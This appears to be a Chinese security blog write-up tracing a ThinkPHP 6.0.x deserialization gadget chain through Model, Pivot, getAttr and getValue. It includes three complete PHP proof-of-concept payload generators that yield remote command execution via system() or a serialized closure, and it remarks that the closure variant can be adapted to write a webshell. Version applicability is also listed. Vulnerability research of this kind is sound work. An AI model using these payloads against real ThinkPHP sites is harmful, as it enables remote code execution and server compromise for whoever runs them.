前言
可能下的环境有问题,不多说了
参考:
ThinkPHP 6 反序列化漏洞
ThinkPHP V6.0.x 反序列化漏洞
前面的方法跟6.0.9那里一样 不管是通过updateData()还是通过insertData() 最后都是走到 $this->db() 来触发__toString
分析
这里直接省略前面 跟进updateData()
所以多出的条件是 $this->exists = true

这里的 __toString
是在 Conversion
进行触发的

跟进 toArray()

这里
$data = array_merge($this->data, $this->relation);
|
$data
合并了 $this->data, $this->relation
然后进行
foreach ($data as $key => $val)
那么这里的 $key
包含了 $this->data, $this->relation
的key 我称它为大key
吧
跟进 getAttr()
这里传入的参数$name是大key

跟进 getData()

再跟进 getRealFieldName()
传入的参数依然是 大key

还是返回 $name
这里返回到 getData()
中

接着进入 if
就是看这个大key不论是$this->data, $this->relation 中的哪一个
,然后返回到 getAttr()
作为变量 $value

跟进 getValue()

最后实例化抽象类Model还是用 Pivot类
但是可能我tp版本太高了存在这一句
if ($closure instanceof \Closure)
|
可以看一下不一样的地方


导致exp无法利用
具体解释:
这里不再直接使用$closure来处理,而是先判断是否继承闭包,因为反序列化闭包的存在,我认为还是可以上面的链子的,但是topthink/framework 在v6.0.3 版本后不再使用opis/closure 依赖,导致没办法利用。
所以上面的利用链只能在 tp6.0.3及以前的版本使用
。
v6.0.3之前
poc 6.0.3之前:
<?php namespace think\model\concern;
trait Attribute{ private $data=['jiang'=>'whoami']; private $withAttr=['jiang'=>'system']; } trait ModelEvent{ protected $withEvent; }
namespace think;
abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; } }
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot()))); ?>
|
v6.0.0-v6.0.12
不过在利用点上面的if语句里有 getJsonValue
方法

跟进,利用没有限制

还是可以利用
不过在进入getJsonValue
之前的那个if 得通过修改$this->json
来进入if
还有让$this->jsonAssoc = true
而且必须是数组套数组
的形式
poc: 测试6.0.9也可执行
<?php namespace think\model\concern;
trait Attribute{ private $data=['jiang'=>['jiang'=>'calc']]; private $withAttr=['jiang'=>['jiang'=>'system']]; protected $json=["jiang"]; protected $jsonAssoc = true; } trait ModelEvent{ protected $withEvent; }
namespace think;
abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix;
function __construct($a = '') { $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; } }
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot()))); ?>
|
SerializableClosure(v6.0.3)
还有另外一种 利用 SerializableClosure
来构造payload
还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用,我们来看一下这个方法。
主要是上面 getValue()
方法里的漏洞点,也就是构造pop链的最后的地方:
$closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data);
|
我们通过一步步控制 $closure
和 $this->data
最后构造并执行了动态函数。但是由于参数的限制,通过第一种方法我们无法执行 phpinfo() 这样的函数,所以我们尝试另一种方法,也就是利用 SerializableClosure。
\Opis\Closure
可用于序列化匿名函数
,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数
,然后交由上述的 $closure($value, $this->data)
调用执行,即:
$func = function(){phpinfo();}; $closure = new \Opis\Closure\SerializableClosure($func); $closure($value, $this->data);
|
以上述代码为例,将调用phpinfo()函数。同样也可以通过将 phpinfo();
改为别的来写webshell。
修改上面的 v6.0.3
的POC即可:
<?php namespace think\model\concern;
trait Attribute{ private $data; private $withAttr; } trait ModelEvent{ protected $withEvent; }
namespace think;
abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $func = function(){phpinfo();}; $b=\Opis\Closure\serialize($func); $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; $this->data=['jiang'=>'']; $c=unserialize($b); $this->withAttr=['jiang'=>$c]; } }
namespace think\model;
use think\Model;
class Pivot extends Model{} require 'closure/autoload.php'; echo urlencode(serialize(new Pivot(new Pivot())));
?>
|
本地构造 poc 需要下载文件 https://github.com/opis/closure
将 poc.php 与文件夹放到同一目录下